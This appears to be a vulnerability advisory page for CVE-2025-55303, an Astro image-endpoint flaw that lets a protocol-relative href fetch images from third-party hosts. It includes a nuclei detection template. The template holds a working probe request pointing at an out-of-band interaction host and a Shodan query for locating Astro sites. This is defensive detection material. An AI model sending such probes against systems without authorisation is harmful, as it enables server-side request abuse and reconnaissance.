Astro - Unauthorized Third-Party Image Access

mediumseverity

6.4CVSS score

0.7%likelihood of exploitation, next 30 days

53%of all CVEs are less likely

Readycheck to confirm it

Astro < 5.13.2 and < 4.16.18 contains an information disclosure vulnerability caused by improper validation of protocol-relative URLs in the image optimization endpoint, letting attackers serve images from unauthorized third-party domains, exploit requires on-demand rendering deployment.

Impact

Attackers can serve images from unauthorized third-party domains, potentially leading to information disclosure or content spoofing.

Fix

Update to versions 5.13.2 or 4.16.18 or later.

How to confirm it

Send: GET {{BaseURL}}/_image?href=//{{interactsh-url}}/600x400
Positive when: status_code == 200 and interactsh_protocol == "http" and contains(header, "image/")

Run it with nuclei: nuclei -id CVE-2025-55303 -u <target>

The full check

id: CVE-2025-55303

info:
  name: Astro - Unauthorized Third-Party Image Access
  author: theamanrawat
  severity: medium
  description: |
    Astro < 5.13.2 and < 4.16.18 contains an information disclosure vulnerability caused by improper validation of protocol-relative URLs in the image optimization endpoint, letting attackers serve images from unauthorized third-party domains, exploit requires on-demand rendering deployment.
  impact: |
    Attackers can serve images from unauthorized third-party domains, potentially leading to information disclosure or content spoofing.
  remediation: |
    Update to versions 5.13.2 or 4.16.18 or later.
  reference:
    - https://github.com/advisories/GHSA-xf8x-j4p2-f749
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55303
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
    cvss-score: 6.4
    cve-id: CVE-2025-55303
    epss-score: 0.00676
    epss-percentile: 0.52541
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"astro"
  tags: cve,cve2025,astro,ssrf,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/_image?href=//{{interactsh-url}}/600x400"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'interactsh_protocol == "http"'
          - 'contains(header, "image/")'
        condition: and

References

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